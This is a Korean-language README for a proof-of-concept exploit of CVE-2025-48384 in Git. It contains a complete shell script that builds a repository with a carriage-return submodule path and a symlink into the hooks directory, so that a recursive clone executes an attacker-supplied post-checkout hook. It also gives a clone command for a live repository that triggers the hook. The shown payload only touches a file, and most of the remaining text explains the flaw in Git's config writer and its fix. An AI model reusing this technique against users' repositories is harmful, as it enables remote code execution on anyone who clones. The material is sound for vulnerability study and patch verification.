
CVE-2025-48384 PoC
본 리포지토리는 보안 교육용으로 작성되었습니다.
악용은 삼가해주세요.
본 취약점은 디렉터리 이름에 \r을 포함해야 하므로,
Linux/Unix 계열이 영향을 받습니다.
아래는 영향을 받는 Git 버전입니다.
아래 명령어로 본 리포지토리를 클론한 경우에도 RCE가 성립합니다.
※ 실행 시 충분히 주의해주세요.
git clone --recursive https://github.com/IK-20211125/CVE-2025-48384
아래 서브모듈 리포지토리의 post-checkout 내 명령어가 실행됩니다.
#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
#!/bin/zsh
git init sub
echo '#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook
git init CVE-2025-48384
git -C CVE-2025-48384 -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C CVE-2025-48384 mv sub "$(printf "sub\r")"
git config unset -f CVE-2025-48384/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> CVE-2025-48384/.gitmodules
ln -s .git/modules/sub/hooks CVE-2025-48384/sub
git -C CVE-2025-48384 add -A
git -C CVE-2025-48384 commit -m submodule
git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 bad-clone
이쪽을 참고하여 작성했습니다. 2가지 변경했습니다.
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
우선, 왜 RCE가 실현되는지에 대해 설명하자면,
본 취약점은 Git의 hooks라는 표준 기능을 이용합니다.
hooks를 간단히 설명하면,
"특정 이벤트(커밋 등)가 발생했을 때 미리 설정한 스크립트를 실행할 수 있는 기능"입니다.
본 취약점은 .git 내의 post-checkout이라는 체크아웃 시 실행되는 파일을 이용합니다.
그러나 이 파일은 기본적으로 로컬에서만 다룰 수 있기 때문에, GitHub 리포지토리를 클론한 것만으로는
공격자가 당연히 관여할 수 없습니다.
이 점을 Git의 \r 처리 방식을 이용해 돌파하고,
로컬의 ./.git/modules/sub/hooks/에 임의의 post-checkout 파일을 배치함으로써 RCE를 실현합니다.
Git의 \r 처리 방식을 이용합니다.
Git의 처리 흐름에 따라 간단히 설명하겠습니다.
먼저, git clone --recursive {url}을 이용해 GitHub상의 원격 리포지토리에서 로컬로 클론합니다.
(--recursive를 붙이면 서브모듈도 함께 클론합니다.)
이때, .gitmodules 내의 path라는 파라미터의 디렉터리에 url의 서브모듈을 전개합니다.
[submodule "sub"]
url = https://github.com/IK-20211125/sub.git
path = "sub"
이 path 파라미터의 디렉터리 이름을 아래와 같이 조작합니다.
path = "sub\r"
또한 리포지토리 내의 서브모듈 디렉터리 이름도 sub\r로 해둡니다.
이렇게 git clone --recursive를 수행하면,
.gitmodules 내의 path에 따라 sub\r 디렉터리에 url에서 서브모듈을 전개하려고 합니다.
(.gitmodules 내의 path에 디렉터리가 없으면 서브모듈 전개를 하지 않습니다.)
그러나 Git은 서브모듈의 최종 전개 대상을 .gitmodules의 path 값을 참조하지 않습니다.
최종적으로 참조하는 것은 .git/modules/sub/config 내의 worktree라는 파라미터입니다.
이 파라미터는 .gitmodules의 path 값을 기준으로 기록됩니다.
이 기록이 중요합니다.
path = "sub\r"를 .git/modules/sub/config 내의 worktree에 기록하면 아래와 같은 형태가 됩니다.
[core]
workdir = ../../../sub\r
중요한 것은 큰따옴표로 감싸져 있지 않다는 점입니다.
static ssize_t write_pair(int fd, const char *key, const char *value, [...]
{
[...]
/*
* Check to see if the value needs to be surrounded with a dq pair.
* Note that problematic characters are always backslash-quoted; this
* check is about not losing leading or trailing SP and strings that
* follow beginning-of-comment characters (i.e. ';' and '#') by the
* configuration parser.
*/
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
strbuf_addf(&sb, "\t%s = %s", key + store->baselen + 1, quote);
특정 위치에 공백이 포함된 경우,
또는 임의의 위치에 ; 또는 #이 포함된 경우에만 큰따옴표로 감싸지지만,
\r의 경우 감싸지지 않습니다.
큰따옴표로 감싸지지 않은 경우,末尾의 \r을 Git이 평가하지 않습니다.
그 결과, 서브모듈의 전개 대상은 ../../../sub가 됩니다.
서브모듈의 이름은 sub\r이므로, sub라는 이름의 임의 형태의 파일을 생성하는 것은 가능합니다. (이름이 겹치지 않음)
여기에 심볼릭 링크를 배치하고, 서브모듈의 전개 대상을 ./.git/modules/sub/hooks/로 변경합니다.
sub -> .git/modules/sub/hooks
서브모듈 내에 배치한 공격자의 스크립트 파일인 post-checkout을,
피해자의 로컬 ./.git/modules/sub/hooks/에 배치할 수 있고, 체크아웃 시 실행되게 됩니다.
이 공격이 성립하는 이유는 Git 내에서 \r 처리가 달라지기 때문입니다.
.gitmodules를 Git이 참조할 때는 큰따옴표로 감싸져 있었기 때문에 \r을 평가한다..git/modules/sub/config를 Git이 참조할 때는 큰따옴표로 감싸져 있지 않기 때문에 \r을 평가하지 않는다.본 취약점이 수정된 Git 버전에서는 아래와 같이 변경되었습니다.
(\r이 포함된 경우 큰따옴표로 감싸도록 변경)
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#' || value[i] == '\r')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
https://github.com/git/git/blob/master/config.c#L2938
유사 취약점으로 CVE-2024-32002가 있습니다.
이 취약점은 대소문자를 구분하지 않는 파일 시스템(Windows, MacOS 등)에서,
CVE-2025-48384와 마찬가지로 심볼릭 링크를 이용해 공격자의 githooks 개입을 허용합니다.
아래 기사가 참고가 됩니다.
https://japanese.opswat.com/blog/analyzing-and-remediating-git-vulnerability-cve-2024-32002
※ 내용에 해석 오류가 있는 경우 지적해주시면 감사하겠습니다.